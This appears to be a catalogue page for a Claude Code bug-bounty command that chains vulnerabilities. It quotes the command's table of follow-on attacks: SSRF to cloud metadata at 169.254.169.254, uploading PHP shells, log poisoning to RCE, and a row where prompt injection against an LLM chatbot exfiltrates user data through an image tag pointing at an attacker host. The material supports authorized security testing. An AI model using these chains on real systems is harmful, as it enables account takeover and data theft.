chain

chain is a command for Claude Code from elementalsouls/Claude-BugHunter. It costs 64 tokens per session (1,403 once invoked), scanned B, a copy of chain, MIT.

A security-testing command that looks for ways to combine separate bugs into a more serious attack. Examples include using an access-control flaw to take over an account or using server-side request forgery to reach cloud metadata.

In plain words
What is it for?
Use it after validating a finding such as an IDOR, XSS, SSRF, SQL injection, or file-upload issue. It helps identify related endpoints, privilege-escalation paths, and additional steps in an exploit chain.
Why use it?
A bug that seems low-impact on its own can become more severe when combined with another weakness. This command provides follow-up checks based on the first confirmed finding.

About the project

Claude Code Spec Workflow is a set of Claude Code commands and agents that organizes software work into documented stages for new features and bug fixes. It is for developers who want Claude Code to handle requirements, design, implementation, issue resolution, and verification through repeatable workflows, with the catalogue entries providing the associated commands and agents.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

chain scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

2. Try internal IPs: 169.254.169.254, 10.x.x.x, 172.16.x.x

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Origin

This is a copy

97% identical to chain — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

How it starts

The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.

/chain

Build an A→B→C exploit chain for higher severity and payout.

When to Use This

After confirming a standalone finding that:

  • Is on the "conditionally valid" list (open redirect, SSRF DNS-only, etc.)
  • Has been validated but classified as Low
  • Could be Medium or High if combined with another finding

Usage

/chain

Describe bug A when prompted. Include:

  • Bug class
  • Endpoint
  • What you can do with it
  • Target platform

The A→B Signal Table

If you found A, immediately check these B candidates:

Found A Immediately Check B Also Check C
IDOR on GET /api/user/X/orders IDOR on PUT/DELETE same path IDOR on ALL sibling endpoints
IDOR on /v2/ endpoint Same IDOR on /v1/ (missing fix) IDOR on mobile API
Auth bypass on one endpoint Every sibling in same controller Old API version
Stored XSS in user input Does admin view this? (priv esc) Email/export/PDF rendering
SSRF with DNS callback SSRF reaching internal services SSRF via open redirect
SQLi on one parameter Every parameter in same endpoint Same param type in sibling endpoints
File upload — PNG allowed Try SVG (XSS), HTML, PHP/JSP (RCE) Double extension: shell.php.jpg
OAuth missing PKCE CSRF on OAuth flow (state param?) Token reuse: auth_code exchanged twice?
Open redirect confirmed OAuth code theft via redirect_uri Phishing chain
GraphQL introspection Auth bypass on mutations IDOR via node(id)
Race condition on coupons Race on credits/wallet Race on rate limits
Exposed S3 listing JS bundles → grep API keys/OAuth .env files in bucket
Missing rate limit on OTP Brute force OTP directly Brute force password reset tokens
CSRF on sensitive action XSS→CSRF = Critical img src / form autosubmit
Path traversal LFI: /proc/self/environ or logs Log poisoning → RCE
Leaked API key in JS Call API as that key — what can it do? Other keys in same JS file
LLM chatbot prompt injection IDOR via chatbot (read other user's data) Exfil chain: <img src="attacker?d=USER_DATA">

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
